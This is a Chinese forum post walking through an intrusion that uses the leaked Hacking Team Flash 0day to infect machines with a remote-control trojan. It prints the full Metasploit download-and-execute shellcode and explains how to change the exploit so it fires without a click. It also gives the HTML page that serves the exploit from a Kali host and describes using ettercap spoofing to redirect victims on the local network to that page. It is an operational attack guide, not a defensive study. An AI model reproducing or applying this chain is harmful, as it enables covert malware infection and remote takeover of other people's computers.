|
; k0 w5 X5 f6 B8 E G
三、flash 0day之手工代码修改制作下载者实例入侵演示 7 Z% b4 W" e R9 [2 K
Q$ x+ m" i- f- I0 _: u# y
3 l: a8 `5 T: b. s9 ^7 Z 利用到的工具：
% a( x8 K- y ]# `: m 5 y+ {. d7 g4 x0 k* |& [: ^5 P
+ n [& F' r) r# p/ A1 {% Q
Msf
9 L+ S/ k8 ]( j5 Y. B3 N
$ \* E0 i& o0 g6 H8 y
) l `& s+ w" K! N$ d$ B( c( q) {; l. Z Ettercap , l9 a4 J- q& C5 @! o: q
* d* @, g# a& z1 C8 m6 A
' k, Q8 Z* V* z
Adobe Flash CS6 / J1 U; K; o* c6 n, ], I2 I: p# O
T5 u1 J; C a1 [' X: V6 L
0 F: y6 U+ R# ^! c* [' E6 l7 J Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
5 `, v* k% r( ^+ z1 g : V0 U& R: q( t# L) y9 ?" i% e
9 b7 R' v4 H1 k1 o, |) S6 ?6 T! Z
下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options % M9 S) A/ G7 T4 g1 { ]% |- I
2 K7 P# g5 U7 m! J6 S- ^
" g: q* }9 d8 x4 U( M 如图：
' t* C p: L ^$ g9 S 4 ~' J4 T" ]) k
& G- L4 H& `! E, i& [2 H
' K3 }& l. q+ a* V5 O
* f6 m% }: Z- v5 M/ c8 h% X3 J: v0 m) G$ P$ X, ~, o; g2 a
2 L/ b. T4 K# f6 I6 `' I) X
5 r' e+ Q7 V. O: Q0 S j* `% b3 b9 ^
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图: " A" e3 m) v: y4 @" W+ t9 ^2 \+ m
- e: T3 K# y% k
; w% [" L: @& I+ ~
) s$ v- e( `& V! ?! S$ Q
! Z( [" h" q; X$ p9 |
% a" {2 v l/ ]! k  + o( e e. T$ r6 v
2 i, E, k4 z# E
5 g) }# z+ I$ R9 @7 T! ]8 S 然后执行generate -t dword生成shellcode，如下：
0 C8 T/ ]( s- h3 v) y" l! { 3 D6 [- P6 A2 o$ G, Z6 ^/ H, |
7 T0 n `* e" O0 q' ^" y  0 |# a! w/ p0 w* I" s; H( u
+ z3 V( n; J) @" H+ O4 ~ }& f3 s
, M2 e% K6 F, Z+ b% ^ 复制代码到文本下便于我们一会编辑flash exp，如下： , s# \5 t' J3 w' N/ Q1 r
9 @: @: {9 t8 k: U6 y+ Z/ y4 i" f
& e: E, e+ l5 {1 J
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
: |2 d& F6 c! s7 A 1 G9 {. }! p% v4 x& Z5 @! b) m
6 D% D0 _) _: [. M- S
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 3 H( O5 k, _% _0 w4 i2 o/ k1 _
5 ~6 K# S# T) }& N
G" A7 A: M) r7 k 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 1 B8 T) H( V- m, W& F3 Y5 z& q; J; b! P
6 G6 b- ~' s8 n# |" x; M" [5 H1 N4 {- x9 H) h7 W
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, ' B7 D8 [) x9 D! i$ q( G9 ~
# z: U: l) L- S1 E# C8 J. }5 Y6 N. a: N
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
4 K1 y' y: Q% b: p- \8 l v% T
4 Q$ {2 {$ y2 q: j. u
1 S9 y2 f5 W# `- C 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
7 m; }$ K- y# S% t+ }( e0 C, q/ l ; z& ^- L/ z6 X, g: w8 a. Z( W
$ S% N, i$ X) F" g
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, ) T* {. z- Z# |. f) Q- r: k- Y* ^
& c$ @! a' p( T$ t0 [: _8 a
% z# Z* e' G- }2 k# D1 |9 A0 ` 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, 3 t% n7 S2 {: B' S2 l
3 r4 s5 P) F5 g7 e- Y/ O
+ ^* s' |" S; |6 I 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
L! \7 P& F8 Q) c/ o
0 @9 U# c2 f# o$ `( Q! n6 p- q; B( G: C# z' a
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
8 O+ Q4 ~) Q6 e; ] 3 I9 m8 l/ ^* M0 t: S+ P
* c5 \3 p4 c4 m" U/ U2 j/ F 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, & V) w: W4 `' d% a2 O
! A% Y) K% _& `( E/ C/ \: l: c. x3 l& ?2 `+ e+ p
0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
* f6 o4 ~* _1 S+ Z) C" l% J" n9 d
2 V4 H1 Z) `$ ?, [; l) [/ T$ X( ]3 l' P, W, o3 r# \
0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, ) K" Z5 O/ j7 u d& C- [
3 o/ \0 ~- y+ s. o
6 w! e! U* T" q0 k; q- O 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 4 [' f6 C$ T" k/ X/ S" F. w
4 Z8 O" y1 [9 Q7 R. L8 p3 A" q' k7 |# {
9 v4 N) x" s7 H
+ e, v/ q: L, A9 ?' z" Q4 ~
5 I& {' Z+ d1 u. h- f! O
1 |7 W5 S5 d4 m
& n) x) p u, c
" L+ O6 C! _! [ c. r
, s, K I; v2 z. W& R, o" ` X
下面我们来修改flash 0day exp，需要修改三个文件，分别为：
4 F/ t9 o A& x - J8 m" s* m- B) |! U
/ v- ]" C `. e0 M+ w
 7 i4 s3 d8 i# F! O
- U* p* H, X' j& R* F; D# q
9 X8 q) p: e7 h% w$ z
先修改ShellWin32.as，部分源代码如图：
; Z% M% q" I4 V% i, o+ l$ {" Y
* y0 X( H! R/ q3 \! J$ X
2 h q& p1 M+ I8 P& s% t! a. Y8 R 
) p6 {/ y8 e% |7 R2 v3 N
- {! Z& N; T8 X# R/ {( _; @& w' `6 r5 C6 r' D
我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：
; p: Y4 H. |- C, v7 s
% a$ \* `. e _2 I/ Z9 y# y# R/ |
 - E8 x9 e! H: Y) t+ F
" W$ A Y( f& `3 F
3 X+ q4 q' q8 w$ I; X9 o
然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图：
( h0 C/ g4 l1 h
$ S4 I' i3 |- w3 E! v, G# h" h9 R2 Y! i" d: p+ E
 : Q0 _. d5 z$ B! {
# S. d9 R, n; i
# P6 C7 u* B( H2 A5 D7 z+ `- T
换行在后面加一句TryExpl();注意是l不是数字1，然后如图：
1 K1 o9 u4 _7 F( L1 L, j/ ], U
- w! V2 U3 N1 c: K4 X! l/ w5 g% |$ v/ [: ~
4 m+ A) c# @) E
+ I. n% ~4 \( F. W; _4 L* n; g. |( x7 _
1 u" V8 }" U5 V0 c: P 5 c6 O7 i$ h% X9 i7 ?8 }. _
" {' |5 H! k7 P b Q7 R
& y% ~- |: a, d+ C; I; h" S 
+ L/ E% w. E* o( Y- p% p, n 7 p3 I3 ^6 X4 |/ P) s9 t" t) n
5 z, l [5 g3 K H7 ]
然后点保存，下面我们来编译一下，打开
9 f! A; q) D9 L) i. o. J' ? 2 [- u8 o2 L: e. Q
$ S1 {+ o3 z6 J exp1.fla然后点文件-发布，看看编译没错误
4 N5 b' U7 |/ Z; P# |
) N, ] q5 q) K- ~1 O+ e; T4 d I m5 ^' h8 M' e3 i
) d9 v* \% P8 N/ a7 ? - \2 g* h- {6 w4 u0 q
- H3 N. c d5 T* c2 X& |: f3 Q+ q P 1 p3 d! W: A( u# ?9 k
4 L6 r8 o& d( u1 `1 r
# |& U" e' P y3 { " i2 {; j( ~; j; C' G; h
8 k1 A X3 G/ k: a8 F. G& M# s w+ V$ ?4 @
 - ]+ p# j, O: y% g/ j ^- n: c
, M4 S3 }! G* f- x; ^2 X" B
, `% Z+ D+ ]+ X/ }/ ^& i/ F' i
然后我们把生成的
5 E; i% a$ G; p$ Z/ w $ W6 e' Q% i& a& g/ I
6 q6 g& X; _" G0 t: J
exp1.swf丢到kailinux 的/var/www/html下： " q8 d. N, G# l4 S% d
* A4 ?; G& e0 L. N8 U
4 ^" |, N1 B6 s+ A1 ~6 r 然后把这段代码好好编辑一下 6 ~5 M* ], {0 l* D3 A
\4 Q, {- y- G i- r
# ~) P p6 U7 K1 a * B4 l4 A; U8 \4 z0 p
$ y* i: { X9 X* P9 z0 o) F9 M+ O7 S: b1 i/ K# o" @
. X$ O3 v- x- M" U% R7 P7 ?5 ~
2 Q: ]. t/ R0 p* U3 s& A" }) w$ ^* p1 r$ l
1 m) ~9 W. k2 k8 X, ?7 R
$ E2 u$ \" ?& b6 r7 V, R( S# e
: d6 F9 p7 b$ j9 m9 `6 Q T8 b7 N# P, b1 l% W0 U
( Y W. o( [- B3 f+ Q
0 N% N7 U$ e/ n3 q2 y$ W8 q 9 J {' E# z- {. g) O
1 D' t+ m/ f5 t% w! @& q5 s( u0 m9 }+ d; a2 d
0 j; o% y# G" E$ P- n1 ?2 a' |3 c
# m9 E/ D, I. a7 v
; O( O+ `! W& A1 @9 U
<!DOCTYPE html> 1 K2 ]* Z2 ]* r. [- k& Y
+ w6 R: E$ y; N1 O
! E6 `& E/ u/ B% T1 I3 o1 {
<html>
8 t& F2 q7 o+ C5 J- c: ?: ~
1 ]0 j8 T1 r: R" q' D* ]2 g# m) p) K1 a8 _, { T4 a. S
<head>
% O; Y. r* I% M* m/ }9 A+ Z5 h 8 ~$ u7 h8 Q+ }8 o; I3 H
, D7 m8 s) [( ]) q% O7 D6 e" g% T) R
<meta http-equiv="Content-Type" content="text/html;
! R& Z& u+ I% K$ [% d4 ]! C+ ?
" b' c# K& \# @$ g: e$ s7 m" Y" J$ n* A: ~( P& p
charset=utf-8"/> 1 b0 q. ?6 A; G5 z# Q; }
i, ~5 C3 q. T! y1 E
0 ^9 O- C0 F( Y* P9 t6 g' c( F </head>
# b$ [0 Z- a0 ^- r * ]6 P5 w0 U0 I8 h
! i& {$ S# k0 p" h
<body>
: w. s+ I$ z/ l+ J% Q
2 }# b& ]8 q, ~, C4 \) b
/ t; Q' E4 C- y: z <h2> Please wait, the requested page is loading...</h2>
0 a5 y( B: a) j P, H
4 k6 ^5 V& _' D
7 G; j6 p( o9 ^7 s4 A& P5 a <br>
$ J$ P6 s7 L4 B5 S4 t& E; z
, H' ]' ~) F( \" s4 w6 [6 B1 n" {) _' N% K5 M$ S2 _
<OBJECT
( b3 u, J. U. J' q' a0 ]2 ^
. g" Z2 |, ?5 g4 @/ w
, n8 Z6 P+ y9 q6 e9 j$ p6 ` classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie : ~8 T0 e( ?7 ~+ Q5 ^
/ p. \# l# C9 f) i1 c2 N0 {5 S7 s9 N* n/ q$ F
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
: U& z9 R2 W! g' C9 O6 y
$ V/ ~( y8 I& P2 V" Z) n8 t6 `# p+ o- r
</body> 0 | r+ c9 W( Y: J# S
* h* _, u3 J9 p) _1 K3 d; U2 f+ z! w: x
<script>
# n: {: ^$ o& u9 b* m2 J& c1 x' W
2 |$ m" t$ @/ k9 |; p5 j) A B7 r# w% x8 c
setTimeout(function () {
8 O/ q/ x8 d0 }
( e8 y: T- y) ~/ M
0 g& w" W) \7 C* E + A. {% b! e0 l4 P
0 Z* `1 ]% p8 A2 j8 Z. u/ b$ A9 X# h% O* x# a
window.location.reload();
O* j4 c/ b7 t: z. ]+ I! y |& Y
) V' n3 U0 f( N' K' w4 `: h: ?( }3 A7 `- J
}, 10000); 2 q# u. W( w4 e: m8 H
5 o7 I# q9 `1 S" H# x4 Y$ f- G* N1 p
2 ^* d: |4 N$ y+ V+ P% G
( K! U8 m* A4 h S
3 K- x1 f2 u P$ |1 v# Y" T
, ~( Q/ ]: \3 I$ P" M4 w </script>
0 G c" v' ^: o( _3 H$ ] - D' |' G4 W7 D) p( ]9 m
' U# c$ l3 P; T9 u! m0 x. q </html>
2 w7 y, W: l5 _5 M$ J, V! p* E2 a
- M: i1 F$ N* L" ~' i }5 j/ b: j
3 l/ f7 j0 j1 t7 \- V J9 m2 f" w% T; g* c, Y
9 i7 M9 m/ W+ y7 b0 | T
% N5 W, ^/ {. |0 F. C0 H
注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图：
7 \ {; K1 D L" g6 x- f- K) t, H ! p: o$ W) ~. X7 d) X5 v
5 K; p" P m5 o2 J( B0 @& C8 t4 I
 4 s% {, @3 ~- G2 s: p6 v
" P) b: L' o m$ B1 e( j6 u
$ \, {3 v" ^4 J+ e " \# ~7 I: C1 w5 y
* N! L& p) L1 f% S+ ?2 p
: j a8 x2 N) ]3 u4 c$ n: ]$ l# s % w( d5 R; [$ D2 F9 t$ h5 I% G- [
. d$ T0 X+ G. |% o: @3 w) H9 X! R" Q3 h5 Z8 _4 Y- J
5 N) }6 n) ~, e8 O& x! e! Y8 G
! f) ?- s# C0 l7 @/ |, W! O% ?; z% n9 [& U3 F
% R2 S- |# }& F+ y
3 Q# M. y3 g% ~5 y& ^+ l# g. s. `+ q3 ? }7 T" D
下面我们用ettercap欺骗如图： ' x% l k& w1 P+ C4 U- a0 x
3 L# [2 d" X, z% x P
- V# J1 p4 m' d. q( y( ?7 K  : ^' T4 E9 ~$ S% K+ g, I# O
3 b4 U( a0 x' ]* b" c) {! |$ @( [" @; `
9 B) c# y% f/ c7 u! _/ z- }
% L) ^7 S& @1 W. r p& I. V7 ?: }7 O H1 L3 I3 J' I' \
下面我们随便访问个网站看看：
a8 P! ~% n' _' C" S: i& ~ 1 A+ B2 b1 j( Y# b2 H
$ X7 M( P! v7 ^: m t/ p 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图： ) o5 q) `4 S9 ?- s. F" t! M
! i3 H( W2 J6 S; b$ p% b# d7 z9 V2 H/ z% \0 O8 @
 % c5 ^" K# z2 ^" U1 C- s. O- P! {
* {% X. Y# l& l2 ^
4 C4 ~+ ?, k' ~# G 我们看另一台， 0 b# W; n" z+ c1 p! m
9 v4 F* I. c9 I) G8 ]5 K) `% I% c5 p% L' t
提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。
3 D% l- b" W+ O% [; r0 i- _6 M | 
发表于 2018-10-20 20:28:55
收藏
支持
反对